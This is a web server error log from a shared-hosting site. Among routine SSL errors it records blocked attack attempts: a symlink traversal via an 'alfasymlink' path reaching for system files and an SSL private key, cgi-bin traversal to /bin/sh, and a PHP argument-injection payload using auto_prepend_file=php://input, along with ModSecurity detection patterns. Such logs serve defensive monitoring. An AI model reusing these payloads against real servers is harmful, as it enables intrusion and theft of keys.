[Sun Oct 25 06:38:30.164354 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 44.221.105.234:18173] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pnp/devices/00:02/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory23/node0/cpu0/driver/cpu1/crash_notes
[Sun Oct 25 06:38:38.327261 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 100.28.57.133:22559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:38:45.076227 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 85.208.96.193:16448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/net_failover/sections/__ksymtab_gpl
[Sun Oct 25 06:38:46.162324 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.218.103.254:58842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:38:50.155340 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.0.63.151:12054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:38:51.558220 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.15:63274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/objects_partial
[Sun Oct 25 06:38:53.794046 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 85.208.96.212:10674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/destroy_by_rcu
[Sun Oct 25 06:39:02.235559 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.84.184.80:42455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:39:06.299850 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 44.208.193.63:6029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:39:14.234655 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.44.148.203:51379] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:39:18.150382 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.206.193.60:63094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:39:22.237348 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.147.238.89:44263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:39:34.348442 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.0.105.244:63587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:39:34.496634 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 85.208.96.210:28530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/object_size
[Sun Oct 25 06:39:46.339805 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 18.235.81.246:52984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:39:54.142349 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.227.234.246:13627] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:40:02.127885 2026] [ssl:error] [pid 2815596:tid 2815596] (5)Input/output error: [client 3.90.73.206:50863] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:40:10.127304 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 54.162.69.192:23815] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/subsystem/slots/8/module/uevent
[Sun Oct 25 06:40:16.009686 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 85.208.96.212:43426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/object_size
[Sun Oct 25 06:40:22.188839 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.156.55.147:59624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:40:30.154407 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 34.231.77.232:31484] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:40:38.144778 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 50.16.216.166:65141] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:40:42.142270 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.221.156.96:64324] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:40:50.137853 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.93.253.174:34904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:40:54.147120 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.202.88.37:37555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:02.150140 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 100.24.167.60:4185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:06.255003 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 18.209.137.234:28057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:14.127392 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.235.158.162:50889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:22.144529 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 98.82.66.172:31546] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:30.152772 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 44.196.118.6:9291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:34.761517 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.17:57458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/reclaim_account
[Sun Oct 25 06:41:42.152509 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 34.227.234.246:12505] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:46.145568 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.29.107.38:63052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:41:49.487709 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.193:62524] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c5646_c3e3f_6d6c370650d439c0eafec3fe43a27a08.key"] [unique_id "at3c7UXTOYRMtW9O7Qy23QAAAAI"]
[Sun Oct 25 06:41:49.488163 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.193:62524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c5646_c3e3f_6d6c370650d439c0eafec3fe43a27a08.key"] [unique_id "at3c7UXTOYRMtW9O7Qy23QAAAAI"]
[Sun Oct 25 06:41:49.488534 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.193:62524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c5646_c3e3f_6d6c370650d439c0eafec3fe43a27a08.key"] [unique_id "at3c7UXTOYRMtW9O7Qy23QAAAAI"]
[Sun Oct 25 06:41:50.196612 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 3.217.171.106:7135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:42:02.261066 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 34.234.197.175:21138] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/pcieport/new_id
[Sun Oct 25 06:42:02.261562 2026] [security2:error] [pid 2815608:tid 2815608] [client 34.234.197.175:21138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/pcieport/new_id"] [unique_id "at3c-iK0zo25roaoS0zXxQAAABY"]
[Sun Oct 25 06:42:02.261600 2026] [security2:error] [pid 2815608:tid 2815608] [client 34.234.197.175:21138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/pcieport/new_id"] [unique_id "at3c-iK0zo25roaoS0zXxQAAABY"]
[Sun Oct 25 06:42:18.150726 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 54.84.102.81:13276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:42:26.166857 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.200.142.199:1973] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:42:34.225564 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 3.221.50.71:14132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:42:38.147951 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 98.82.66.172:15578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:42:46.361053 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.83.240.58:40500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:42:48.921060 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 185.191.171.17:22064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/mbcache/sections/__kcrctab
[Sun Oct 25 06:42:50.019928 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.18:53220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/security/ima/ascii_runtime_measurements
[Sun Oct 25 06:42:50.258356 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 98.83.94.113:21744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:42:54.165523 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.214.176.44:39297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:43:10.143039 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.6.232.201:27243] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:43:22.136537 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.210.29.96:55299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:43:39.133259 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.212:10436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/object_size
[Sun Oct 25 06:43:42.197422 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.1.106.130:28639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:43:50.141712 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 18.211.39.188:50242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:43:58.201024 2026] [security2:error] [pid 2806345:tid 2806345] [client 34.202.88.37:16940] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/slots/14/"] [unique_id "at3dbkXTOYRMtW9O7Qy24gAAAAI"]
[Sun Oct 25 06:43:58.201084 2026] [security2:error] [pid 2806345:tid 2806345] [client 34.202.88.37:16940] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/slots/14/"] [unique_id "at3dbkXTOYRMtW9O7Qy24gAAAAI"]
[Sun Oct 25 06:44:30.164667 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 54.83.23.103:19105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:44:38.132367 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 18.209.137.234:4467] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory12/node0/compact
[Sun Oct 25 06:44:46.125549 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 3.224.104.67:42076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory19/subsystem/drivers_probe
[Sun Oct 25 06:45:02.189575 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 35.174.253.85:17659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:10.178472 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.71.46.142:30911] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:14.266812 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.200.54.136:61181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:14.407605 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.200:32390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/ctor
[Sun Oct 25 06:45:18.125427 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 34.197.28.78:63531] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:22.132443 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.209.100.30:11509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:34.126538 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 34.236.135.14:14240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:37.726873 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 85.208.96.198:56478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:38.215698 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.3.102.51:58143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:39.764002 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.9:22376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/shrink
[Sun Oct 25 06:45:54.149332 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 3.94.156.104:33420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:45:56.566268 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 185.191.171.3:39594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/validate
[Sun Oct 25 06:45:58.132964 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 3.220.70.171:65466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/exar_serial/uevent
[Sun Oct 25 06:46:06.236334 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.209.89.189:27225] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:46:22.124819 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 52.200.58.199:16660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/piix4_smbus/module/uevent
[Sun Oct 25 06:46:31.848884 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 85.208.96.201:63730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:46:38.183086 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.3.26.180:31364] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:46:42.128697 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.200.58.199:12725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:46:50.130261 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 18.206.47.187:6685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/unbind
[Sun Oct 25 06:46:54.134160 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.2.83.227:1920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:46:58.233586 2026] [security2:error] [pid 2815605:tid 2815605] [client 52.205.222.214:8832] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS1/power/"] [unique_id "at3eIgYPMfHr0EMMDlnknwAAABM"]
[Sun Oct 25 06:46:58.233630 2026] [security2:error] [pid 2815605:tid 2815605] [client 52.205.222.214:8832] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS1/power/"] [unique_id "at3eIgYPMfHr0EMMDlnknwAAABM"]
[Sun Oct 25 06:47:02.159200 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 18.214.238.178:27775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:06.169184 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.197.76.210:46345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:08.372682 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.3:34268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/free_calls
[Sun Oct 25 06:47:10.133171 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.216.13.10:63939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:22.186361 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.221.156.96:38948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:28.671880 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.211:49588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/validate
[Sun Oct 25 06:47:38.150163 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.167.32.123:16220] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:42.132120 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 23.21.148.226:17255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:44.368577 2026] [security2:error] [pid 2815608:tid 2815608] [client 85.208.96.202:10384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/kbd/consoletrans/koi2alt"] [unique_id "at3eUCK0zo25roaoS0zX1AAAABY"]
[Sun Oct 25 06:47:44.368618 2026] [security2:error] [pid 2815608:tid 2815608] [client 85.208.96.202:10384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/kbd/consoletrans/koi2alt"] [unique_id "at3eUCK0zo25roaoS0zX1AAAABY"]
[Sun Oct 25 06:47:46.142684 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.28.49.152:13015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:53.352632 2026] [core:error] [pid 2815602:tid 2815602] [client 118.145.104.105:47766] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sun Oct 25 06:47:53.846982 2026] [core:error] [pid 2815601:tid 2815601] [client 118.145.104.105:57792] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Sun Oct 25 06:47:54.144193 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 18.215.112.101:22699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:47:58.379028 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at3eXiK0zo25roaoS0zX1QAAABY"]
[Sun Oct 25 06:47:58.379118 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at3eXiK0zo25roaoS0zX1QAAABY"]
[Sun Oct 25 06:47:58.379640 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at3eXiK0zo25roaoS0zX1QAAABY"]
[Sun Oct 25 06:47:58.599119 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at3eXiK0zo25roaoS0zX1QAAABY"]
[Sun Oct 25 06:47:59.942984 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at3eXyK0zo25roaoS0zX1gAAABY"]
